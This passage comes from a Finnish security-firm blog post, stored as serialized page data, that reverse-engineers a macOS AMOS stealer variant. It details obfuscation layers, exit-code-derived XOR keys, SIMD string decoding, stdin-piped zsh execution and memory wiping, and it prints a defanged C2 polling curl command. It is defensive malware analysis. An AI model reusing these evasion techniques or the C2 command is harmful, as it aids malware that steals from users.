",[1718,14601,14602],{"style":13628},"0x4c",[1718,14604,13882],{"style":13604}," {\n  bVar2 = *(",[1718,14607,14266],{"style":13604},[1718,14609,13814],{"style":13604},")local_e0 +\n          ((",[1718,14612,13645],{"style":13604},")(*(",[1718,14615,14266],{"style":13604},[1718,14617,13814],{"style":13604},")local_c8 + uVar5) ^ uVar6) & ",[1718,14620,14275],{"style":13628},"));\n  *(",[1718,14623,14266],{"style":13604},[1718,14625,13814],{"style":13604},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[1718,14628,13615],{"style":13604},")uVar5 + (uVar6 ^ bVar2);  ",[1718,14631,14632],{"style":13595},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[1718,14635,13893],{"style":13628},";\n} ",[1718,14638,13966],{"style":13604}," (uVar7 != uVar5);\n",[526,14641,14642,647,14645,13776,14648,1208],{},[568,14643,14644],{},"Instanssi B",[579,14646,14647],{},"FUN_10007a7e0",[579,14649,14650],{},"0x10007a7e0",[862,14652,14653],{"style":13154},[13591,14654,14655,14599,14658,3481,14661,14605,14663,14105,14665,14667,14668,14613,14670,14105,14672,14674,14675,14621,14677,14105,14679,14626,14681,14629,14683,14633,14686,14636,14688,14639],{},[1718,14656,14657],{"style":13595},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[1718,14659,14660],{"style":13628},"0x9f",[1718,14662,13882],{"style":13604},[1718,14664,14266],{"style":13604},[1718,14666,13814],{"style":13604},")local_c0 +\n          ((",[1718,14669,13645],{"style":13604},[1718,14671,14266],{"style":13604},[1718,14673,13814],{"style":13604},")local_a8 + uVar5) ^ uVar6) & ",[1718,14676,14275],{"style":13628},[1718,14678,14266],{"style":13604},[1718,14680,13814],{"style":13604},[1718,14682,13615],{"style":13604},[1718,14684,14685],{"style":13595},"// identical counter update formula",[1718,14687,13893],{"style":13628},[1718,14689,13966],{"style":13604},[526,14691,14692,14693,14695,14696,14698],{},"Algoritmi on rakenteellisesti identtinen, mutta alkulaskuri eroaa (",[579,14694,14602],{}," vs. ",[579,14697,14660],{},") ja lookup-taulukot sijaitsevat eri muistiosoitteissa. Instanssi A kutsutaan tilakoneen tilasta 11 tuottamaan koodausaakkosto ensimmäiselle payload-polulle. Instanssi B kutsutaan tilasta 6 tuottamaan aakkosto ison shell-skripti-payloadin dekoodaukseen.",[526,14700,14701,14702,14705,14706,14709,14710,14713],{},"Täsmällisesti muotoiltuna: kyseessä on ",[568,14703,14704],{},"substituutiosalain, jonka indeksi riippuu laskurista",". Jokainen tulostetavu on taulukkohaku, jossa indeksi on ",[579,14707,14708],{},"(input_byte XOR counter) & 0xFF",". Laskuri päivittyy jokaisen tavun jälkeen muodossa ",[579,14711,14712],{},"counter = (i + (counter XOR output)) & 0xFF",", mikä tarkoittaa, että jokainen tulostetavu vaikuttaa seuraavan hakuindeksin määrittymiseen. Se luo riippuvuusketjun koko tulostesekvenssin yli: tavua N ei voi purkaa purkamatta ensin tavuja 0…N-1 oikein. Osittainen purku tai virheanalyysi käy siten huomattavasti vaikeammaksi.",[526,14715,14716],{},"Kumpikaan instansseista ei ole standardi-RC4. S-box-alustusvaihetta ei ole, S-box-swap-operaatiota ei ole. Lookup-taulukot ovat staattisia, käännösaikana upotettuja vakioita.",[13123,14718],{},[897,14720,14722],{"id":14721},"layer-6-runtime-xor-exit-koodista-riippuvalla-avaimella","Layer 6: runtime-XOR exit-koodista riippuvalla avaimella",[526,14724,903],{},[526,14726,14727,14728,14731],{},"Viimeinen ja analyyttisesti vaativin kerros soveltaa in-place-XOR-muunnosta Stage 2 -payloadiin. XOR-avain ei ole kovakoodattu vaan johdetaan ajonaikaisesti ",[568,14729,14730],{},"ensimmäisen shell-payloadin suorituksen"," exit-koodista, eikä se siten ole periaatteessa määritettävissä staattisella analyysillä. Binääri on todella suoritettava ja ensimmäisen shell-skriptin ajettava loppuun, ennen kuin avain ylipäätään on olemassa.",[526,14733,14734],{},"Avaimenjohtosekvenssi ARM64-tilakoneen dispatcherissa:",[862,14736,14737],{"style":13154},[616,14738,14741],{"className":14739,"code":14740,"language":621},[619],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[579,14742,14740],{"__ignoreMap":530},[526,14744,14745],{},"XOR-silmukka, joka käsittelee Stage 2 -payloadin:",[862,14747,14748],{"style":13154},[616,14749,14752],{"className":14750,"code":14751,"language":621},[619],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[579,14753,14751],{"__ignoreMap":530},[526,14755,14756,14757,14760,14761,14764,14765,14767],{},"Avain on 16-bittinen arvo, joka johdetaan ensimmäisen shell-payloadin exit-statustavusta, kerrotaan luvulla ",[579,14758,14759],{},"0x7f0"," ja lisätään tilakoneen peruslaskurirekisterin ",[579,14762,14763],{},"w26"," ajankohtaiseen arvoon. Kertolaskuvakio ",[579,14766,14759],{}," saa aikaan sen, että yhden bitin ero exit-koodissa tuottaa täysin eri avaimen. Vierekkäisten avainarvojen välillä ei ole hyödynnettävää jatkuvuutta.",[526,14769,14770],{},"Ilman binäärin suorittamista hallitussa ympäristössä ja ensimmäisen shell-payloadin tarkan exit-koodin kirjaamista Stage 2 -payload pysyy staattiselle analyysille pysyvästi läpinäkymättömänä. Se oli koko analyysin vaikein este.",[13123,14772],{},[748,14774,14776],{"id":14775},"shell-suoritus-putket-argumenttien-sijaan-ja-simd-xor","Shell-suoritus: putket argumenttien sijaan, ja SIMD-XOR",[526,14778,754],{},[526,14780,14781,14782,13776,14785,14788],{},"Shell-suoritusfunktio ",[579,14783,14784],{},"FUN_10000091c",[579,14786,14787],{},"0x10000091c"," on binäärin arkkitehtonisesti kiinnostavin komponentti. Täällä kaikki tulee yhteen: dekoodattu payload, obfuskoitu komennon nimi ja eksplisiittinen anti-forensiikkasuunnittelu. Jokainen suunnitteluratkaisu tässä funktiossa palvelee tiettyä evaasiotarkoitusta.",[897,14790,14792],{"id":14791},"askel-1-komennon-nimi-ei-koskaan-esiinny-selkotekstinä","Askel 1: komennon nimi ei koskaan esiinny selkotekstinä",[526,14794,903],{},[526,14796,14797,14800,14801,14804,14805,14808,14809,14812],{},[579,14798,14799],{},"/bin/zsh"," ei esiinny missään binäärissä selkotekstinä. ",[579,14802,14803],{},"__cstring","-osiossa osoitteessa ",[579,14806,14807],{},"0x1007bb5c8"," merkkijono on obfuskoituina tavuina ",[579,14810,14811],{},"\\x01LG@\\x01T]F",". Dekoodaus tapahtuu ajonaikaisesti yhdellä XOR-operaatiolla, suoraan ARM64-assemblystä varmennettavissa:",[862,14814,14815],{"style":13154},[616,14816,14819],{"className":14817,"code":14818,"language":621},[619],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[579,14820,14818],{"__ignoreMap":530},[526,14822,14823,14824,14827,14828,14830,14831,14834],{},"XOR-avain on ",[579,14825,14826],{},"0x2e",", pisteen (",[579,14829,726],{},") ASCII-arvo. Dekoodaus tapahtuu yhdellä ainoalla ",[579,14832,14833],{},"eor v0.8B, v0.8B, v1.8B"," -käskyllä, ARM64-NEON-vektorikäskyllä, joka XOR-yhdistää kaikki 8 tavua samanaikaisesti. SIMD-käskyn käyttäminen yksinkertaiseen 8 tavun dekoodaukseen on epätavallista ja sillä on kaksi vaikutusta: se on nopeampi kuin tavu tavulta etenevä silmukka, ja syntyvä käskykuvio eroaa perustavasti skalaarisista dekoodaussilmukoista, joihin signatuurihakutyökalut on koulutettu.",[526,14836,14837,14838,647,14841,647,14844,647,14847,14850,14851,726],{},"Varmennus on yksinkertainen: ",[579,14839,14840],{},"0x01 XOR 0x2e = 0x2f = /",[579,14842,14843],{},"0x4c XOR 0x2e = 0x62 = b",[579,14845,14846],{},"0x47 XOR 0x2e = 0x69 = i",[579,14848,14849],{},"0x40 XOR 0x2e = 0x6e = n",", mikä antaa ensimmäisiksi neljäksi tavuksi ",[579,14852,14853],{},"/bin",[897,14855,14857],{"id":14856},"askel-2-putkiarkkitehtuuri","Askel 2: putkiarkkitehtuuri",[526,14859,903],{},[526,14861,14862],{},"Komennon nimen dekoodauksen jälkeen funktio luo OS-putken ja forkkaa:",[862,14864,14865],{"style":13154},[616,14866,14869],{"className":14867,"code":14868,"language":621},[619],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[579,14870,14868],{"__ignoreMap":530},[526,14872,14873],{},"Lapsiprosessissa:",[862,14875,14876],{"style":13154},[616,14877,14880],{"className":14878,"code":14879,"language":621},[619],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[579,14881,14879],{"__ignoreMap":530},[526,14883,14884,14885,8811,14888,14891,14892,14894],{},"Lapsiprosessi korvaa vakiosyötteensä putken lukupäällä ja käynnistää ",[579,14886,14887],{},"/bin/zsh -s",[579,14889,14890],{},"-s","-tilassa shell lukee komennot stdinistä. Prosessienvalvontatyökaluille tämä prosessi näyttäytyy muodossa ",[579,14893,14887],{}," ilman argumentteja, erottumattomana legitiimistä interaktiivisesta shell-istunnosta.",[897,14896,14898],{"id":14897},"askel-3-vaihtelevan-kokoiset-chunk-kirjoitukset","Askel 3: vaihtelevan kokoiset chunk-kirjoitukset",[526,14900,903],{},[526,14902,14903],{},"Vanhempiprosessi kirjoittaa puretun payloadin tarkoituksella vaihtelevissa chunk-koissa putken kirjoituspäähän:",[862,14905,14906],{"style":13154},[616,14907,14910],{"className":14908,"code":14909,"language":621},[619],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[579,14911,14909],{"__ignoreMap":530},[526,14913,14914,14915,14918,14919,8808,14922,14925,14926,14929],{},"Chunk-kokokaava ",[579,14916,14917],{},"(remaining_length % 192) + 64"," tuottaa arvoja 64:n ja 255 tavun väliltä write-kutsua kohti riippuen jäljellä olevasta payload-pituudesta. Vaihteleva kirjoituskuvio on näkyvissä kernel-tapahtumien tracing-työkaluissa kuten ",[579,14920,14921],{},"ktrace",[579,14923,14924],{},"dtrace",", mutta se ei tuota tunnistettavaa kiinteän koon signatuuria. Jokainen saman payloadin suoritus tuottaa eri sekvenssin ",[579,14927,14928],{},"write()","-syscallien kokoja.",[526,14931,14932,14933,14935],{},"Yhden mikrosekunnin ",[579,14934,13664],{}," chunkkien välillä palvelee toista tarkoitusta: se vapauttaa CPU:n kirjoitusten välillä, pitää CPU-kuormituksen tasaisena ja välttää äkillisen piikin, jonka käyttäytymispohjainen EDR-sääntö voisi merkitä poikkeavaksi burst-I/O:ksi.",[897,14937,14939],{"id":14938},"askel-4-välitön-muistin-siivous","Askel 4: välitön muistin siivous",[526,14941,903],{},[862,14943,14944],{"style":13154},[616,14945,14948],{"className":14946,"code":14947,"language":621},[619],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[579,14949,14947],{"__ignoreMap":530},[526,14951,14952,14955],{},[579,14953,14954],{},"_bzero()","-kutsu nollaa koko puretun payload-puskurin välittömästi viimeisen putkeen kirjoituksen jälkeen. Ei aikaikkunaa, ei edes mikrosekuntia, jolloin purettu payload olisi suorituksen päätyttyä vielä muistissa. Live-muistidumppi, joka otetaan heti tämän funktion paluun jälkeen, löytää vain nollia siitä, missä payload oli.",[526,14957,14958,14959,14962],{},"Tätä kutsutaan nimellä ",[568,14960,14961],{},"zero-after-use",", samaa tekniikkaa käyttävät korkean turvallisuuden kryptografiset kirjastot, jotta avainmateriaalia ei jää muistiin. Tämän tekniikan esiintyminen commodity-haittaohjelmassa on epätavallista ja viittaa kehittäjään, jolla on security engineering -tausta.",[897,14964,14966],{"id":14965},"täydellinen-suoritussekvenssi","Täydellinen suoritussekvenssi:",[526,14968,903],{},[862,14970,14971],{"style":13154},[616,14972,14975],{"className":14973,"code":14974,"language":621},[619],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[579,14976,14974],{"__ignoreMap":530},[748,14978,14980],{"id":14979},"import-taulukko-aseena","Import-taulukko aseena",[526,14982,754],{},[526,14984,14985],{},"Tämän binäärin täydellinen import-taulukko:",[862,14987,14988],{"style":13154},[616,14989,14992],{"className":14990,"code":14991,"language":621},[619],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[579,14993,14991],{"__ignoreMap":530},[526,14995,14996],{},"Yhteensä 27 symbolia. Se mikä puuttuu, on vähintään yhtä paljastavaa kuin se mikä on läsnä.",[897,14998,15000],{"id":14999},"puuttuu-verkko","Puuttuu: verkko",[526,15002,903],{},[862,15004,15005],{"style":13154},[616,15006,15009],{"className":15007,"code":15008,"language":621},[619],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[579,15010,15008],{"__ignoreMap":530},[897,15012,15014],{"id":15013},"puuttuu-tiedostojärjestelmä","Puuttuu: tiedostojärjestelmä",[526,15016,903],{},[862,15018,15019],{"style":13154},[616,15020,15023],{"className":15021,"code":15022,"language":621},[619],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[579,15024,15022],{"__ignoreMap":530},[897,15026,15028],{"id":15027},"puuttuu-prosessi-introspektio","Puuttuu: prosessi-introspektio",[526,15030,903],{},[862,15032,15033],{"style":13154},[616,15034,15037],{"className":15035,"code":15036,"language":621},[619],"getpid      getuid      getenv      sysctl\n",[579,15038,15036],{"__ignoreMap":530},[897,15040,15042],{"id":15041},"puuttuu-kryptografia","Puuttuu: kryptografia",[526,15044,754],{},[862,15046,15047],{"style":13154},[616,15048,15051],{"className":15049,"code":15050,"language":621},[619],"CCCrypt     SecItemAdd  SecKeychainFind\n",[579,15052,15050],{"__ignoreMap":530},[526,15054,15055,15056,647,15059,15062,15063,647,15066,15069],{},"Perinteisestä haittaohjelmasamplesta odotetaan verkkoimportteja (",[579,15057,15058],{},"socket",[579,15060,15061],{},"connect",") tai tiedostoimportteja (",[579,15064,15065],{},"fopen",[579,15067,15068],{},"write","). Tässä binäärissä ei ole yhtäkään. Tavalliselle skannerille se näyttää harmittomalta prosessin käynnistäjältä, ja niin on suunniteltukin: tietoinen arkkitehtuuriratkaisu, joka juoksuttaa staattiset analyysityökalut tyhjään.",[526,15071,15072,15074],{},[579,15073,13480],{},"-binääri ei tee varkautta itse. Sen ainoa tarkoitus on pudottaa ja suorittaa varsinainen haitallinen payload, vahvasti obfuskoitu AppleScript. EDR tai AV, joka etsii haitallisia binäärejä, näkee tässä loaderin ilman verkko- tai tiedosto-I/O:ta ja saattaa luokitella sen puhtaaksi tunnistamatta, että binääri on erikoistunut toimitusjärjestelmä korkean tason skriptipayloadille.",[13123,15076],{},[557,15078,15080],{"id":15079},"takaovi","Takaovi",[526,15082,563],{},[526,15084,15085,15086,15089],{},"Incident ei päättynyt alkuperäiseen kompromentointiin. Microsoft Defenderin telemetria näytti prosessin, joka ajoi polusta ",[579,15087,15088],{},"/Users/\u003Credacted>/.mainhelper"," ja kysyi ulkoiselta palvelimelta:",[862,15091,15092],{"style":13154},[616,15093,15095],{"className":2795,"code":15094,"language":2797,"meta":530,"style":530},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[579,15096,15097],{"__ignoreMap":530},[1718,15098,15099,15102,15104],{"class":1720,"line":1721},[1718,15100,15101],{"class":2804},"sh",[1718,15103,13360],{"class":2812},[1718,15105,15106],{"class":2808}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[526,15108,15109],{},"Base64-merkkijono dekoodautui 16 tavun laite-UUID:ksi, yksilölliseksi tunnisteeksi, jonka hyökkääjän C2-infrastruktuuri oli antanut tälle laitteelle ensimmäisen infektion päivänä.",[526,15111,15112,15115,15116,15119,15120,15122],{},[579,15113,15114],{},".mainhelper","-binääri (SHA-256: ",[579,15117,15118],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") oli asennettu incidentin päivänä osascript-dropperin toimesta ",[579,15121,13357],{},"-komennolla.",[13123,15124],{},[557,15126,15128],{"id":15127},"kollektiivisen-kilven-voima-shared-threat-intelligence-alustamme","Kollektiivisen kilven voima: Shared-Threat-Intelligence-alustamme",[526,15130,563],{},[526,15132,15133],{},"Kun SOC:ssamme laukeaa alert, kello alkaa käydä paitsi kyseiselle asiakkaalle myös jokaiselle organisaatiolle glueckkanjan suojakilven alla. Tämä tutkimus dokumentoimattomasta AMOS-variantista tekee selväksi, mitä Intelligence Gap käytännössä merkitsee: vaarallinen aikaikkuna, jossa perinteiset toimittajat ovat sokeita, koska ne eivät ole vielä nähneet uhkaa.",[526,15135,15136],{},"Tässä oma Shared Threat Intelligence Platformimme näyttää arvonsa, kehitettynä yksinomaan glueckkanjan CSOC-asiakkaille. Emme odota alan päivityksiä, me tuotamme ne. Kun analyytikkomme vielä purkivat ARM64-assemblyn viimeisiä kerroksia, Automated Orchestration Enginemme jakoi jo poimitut indikaattorit koko ekosysteemiimme. Se tuottaa laumaimmuniteetin: se mikä löydetään yhdeltä ainoalta endpointilta, on minuuteissa estetty uhka jokaiselle organisaatiolle suojamme alla.",[526,15138,15139],{},"Reaktiivinen tietoturva ei toimi uhkia vastaan, jotka livahtavat tarkoituksella perinteisten puolustusmekanismien aukoista. Vastaus on inhimillisen asiantuntemuksen yhdistämisessä arkkitehtuuriin, joka ottaa tämän tiedon käyttöön välittömästi ja skaalassa. Shared intelligence -mallimme kautta hyökkääjän aikaetu kääntyy päinvastaiseksi: asiakkaamme ovat suojattuja ennen kuin ala edes tunnistaa uhkan.",[856,15141,15142,15147,15150,15153],{},[526,15143,15144],{},[568,15145,15146],{},"Huomautus tietosuojasta",[526,15148,15149],{},"Tunnistetiedot on anonymisoitu tässä julkaisussa. Tiettyjä teknisiä yksityiskohtia, indikaattoreita ja aikaleimoja on voitu muuttaa hieman, jotta kyseisen ympäristön jatkuva suojaus varmistetaan analyysin teknistä eheyttä heikentämättä.",[526,15151,15152],{},"Tämän raportin tekniset analyysit ja Indicators of Compromise (IOC:t) on tarkoitettu yksinomaan tiedoksi ja koulutukseksi. Ne tarjotaan parhaan tiedon mukaan. glueckkanja AG ei anna nimenomaisia tai hiljaisia takuita täydellisyydestä tai tarkkuudesta eikä vastaa vahingoista, menetyksistä tai tietoturvapoikkeamista, jotka syntyvät tässä jaettujen tietojen, sääntöjen tai signatuurien käytöstä. Suosittelemme validoimaan kaikki indikaattorit ja säännöt hallitussa ympäristössä ennen käyttöönottoa.",[526,15154,15155],{},"Kuvatut indikaattorit ja tekniikat voivat mennä päällekkäin tunnettujen haittaohjelmaperheiden kanssa eikä niitä voi liittää yksinomaan yhteen kampanjaan.",[12832,15157,15158],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":530,"searchDepth":531,"depth":531,"links":15160},[15161,15162,15163,15164,15171,15172,15173,15174,15182,15189],{"id":13145,"depth":531,"text":13146},{"id":13180,"depth":531,"text":13181},{"id":13237,"depth":531,"text":13238},{"id":13269,"depth":531,"text":13270,"children":15165},[15166,15167,15168,15169,15170],{"id":13278,"depth":2102,"text":13279},{"id":13292,"depth":2102,"text":13293},{"id":13306,"depth":2102,"text":13307},{"id":13315,"depth":2102,"text":13316},{"id":13332,"depth":2102,"text":13333},{"id":13487,"depth":531,"text":13488},{"id":13566,"depth":531,"text":13567},{"id":13679,"depth":531,"text":13680},{"id":13744,"depth":531,"text":13745,"children":15175},[15176,15177,15178,15179,15180,15181],{"id":13759,"depth":2102,"text":13760},{"id":14045,"depth":2102,"text":14046},{"id":14298,"depth":2102,"text":14299},{"id":14483,"depth":2102,"text":14484},{"id":14570,"depth":2102,"text":14571},{"id":14721,"depth":2102,"text":14722},{"id":14775,"depth":531,"text":14776,"children":15183},[15184,15185,15186,15187,15188],{"id":14791,"depth":2102,"text":14792},{"id":14856,"depth":2102,"text":14857},{"id":14897,"depth":2102,"text":14898},{"id":14938,"depth":2102,"text":14939},{"id":14965,"depth":2102,"text":14966},{"id":14979,"depth":531,"text":14980,"children":15190},[15191,15192,15193,15194],{"id":14999,"depth":2102,"text":15000},{"id":15013,"depth":2102,"text":15014},{"id":15027,"depth":2102,"text":15028},{"id":15041,"depth":2102,"text":15042},{"lang":12982,"seoTitle":15196,"titleClass":12984,"date":15197,"categories":15198,"blogtitlepic":15199,"socialimg":15200,"customExcerpt":15201,"keywords":15202,"maxContent":325,"asideNav":15203,"footer":15218,"contactInContent":15219,"published":325},"AMOS-stealerin variantti: tuntemattoman macOS-haittaohjelman reverse engineering","2026-04-10",[12987],"head-amos-stealer.png","/blog/heads/head-amos-stealer.png","Tähän asti dokumentoimaton AMOS-stealerin variantti kompromentoi macOS-endpointin. Ei tunnettuja hasheja, ei C2-tietoja julkisissa tietokannoissa. SOC:mme purki kuusi obfuskointikerrosta, poimi kaikki indikaattorit ja jakoi suojauksen kaikille SOC-asiakkaille tunneissa, jo ennen kuin ala oli edes nähnyt samplea.","AMOS Stealer, macOS-haittaohjelma, Reverse Engineering, haittaohjelma-analyysi, Ghidra, ARM64, Incident Response, Threat Intelligence, CSOC, macOS-tietoturva, Stealer-haittaohjelma, Shared Threat Intelligence, Atomic macOS Stealer",{"menuItems":15204},[15205,15208,15210,15213,15215],{"href":15206,"text":15207},"#tapaus-tuntematon-ioc-skenaario","Tapaus",{"href":15209,"text":13146},"#stage-1-sandbox-tarkistukset",{"href":15211,"text":15212},"#stage-2-helper-binäärin-reverse-engineering","Stage 2: binäärin analyysi",{"href":15214,"text":15080},"#takaovi",{"href":15216,"text":15217},"#kollektiivisen-kilven-voima-shared-threat-intelligence-alustamme","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":15220},{"bgColor":15221,"headline":15222,"subline":15223,"level":748,"textStyling":13050,"flush":13051,"person":15224,"form":15230},"var(--color-gk-dark-blue)","Ota yhteyttä","Haluatteko tietää, miten Shared Threat Intelligence Platformimme suojaa teitä tuntemattomilta haittaohjelmavarianteilta jo ennen kuin ala saa niistä tiedon? Ottakaa yhteyttä.",{"image":15225,"cloudinary":325,"alt":15226,"name":15227,"quotee":15227,"quoteeTitle":15228,"quote":15229},"/people/people-jan-geisbauer-csoc.jpg","Muotokuva Jan Geisbauerista, glueckkanjan Head of Security","Jan Geisbauer","Head of Security","Vaarallista tässä variantissa ei ollut tekninen kompleksisuus, niin vaikuttava kuin se onkin. Vaarallista oli aikaikkuna. Ilman Shared Threat Intelligenceä muut asiakkaamme olisivat seisoneet tuntikausia suojaamattomina, kun me vielä analysoimme.",{"ctaText":13065,"cta":15231,"method":12980,"action":13068,"fields":15232},{"skin":13067},[15233,15234,15235,15236,15237,15241,15243,15245,15248,15250,15251,15252],{"type":13071,"id":13072,"value":13073},{"label":13075,"type":621,"id":13076,"required":325,"requiredMsg":13077},{"label":13079,"type":621,"id":403,"required":325,"requiredMsg":13080},{"label":13082,"type":13083,"id":13083,"required":325,"requiredMsg":13084},{"label":15238,"type":15239,"id":10717,"required":484,"requiredMsg":15240},"Viestinne meille","textarea","Anna viesti.",{"label":15242,"type":13087,"id":13088,"required":325,"requiredMsg":13089},"Tietojanne säilytetään meillä pyyntönne käsittelyä ja siihen vastaamista varten. Lisätietoja tietosuojasta löydätte \u003Ca href=\"/fi/privacy\">tietosuojaselosteestamme\u003C/a>.",{"type":13071,"id":15244,"value":12987},"_topic",{"type":13071,"id":15246,"value":15247},"_location","World",{"type":13071,"id":13091,"value":15249},"Form: Blog AMOS Stealer CSOC | FI",{"type":13071,"id":13094,"value":13095},{"type":13071,"id":13097},{"type":13071,"id":15253},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":13109,"description":13115},"posts/2026-04-10-incident-to-intelligence",[13103,15258,15259,15260,13104],"Incident Response","macOS Security","Malware Analysis","k5ZZ-uOZiYxXk8vm2PGPJEE5J2uFlpUKMw-7iJ3go2Y",[],{"id":15264,"extension":15265,"meta":15266,"stem":8,"__hash__":15271},"authors_data/authors.json","json",{"Pascal Asch":15267},{"display_name":521,"avatar":15268,"permalink":15269,"linkedin":547,"imageOffsetTop":15270},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","66%","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",1791383986214]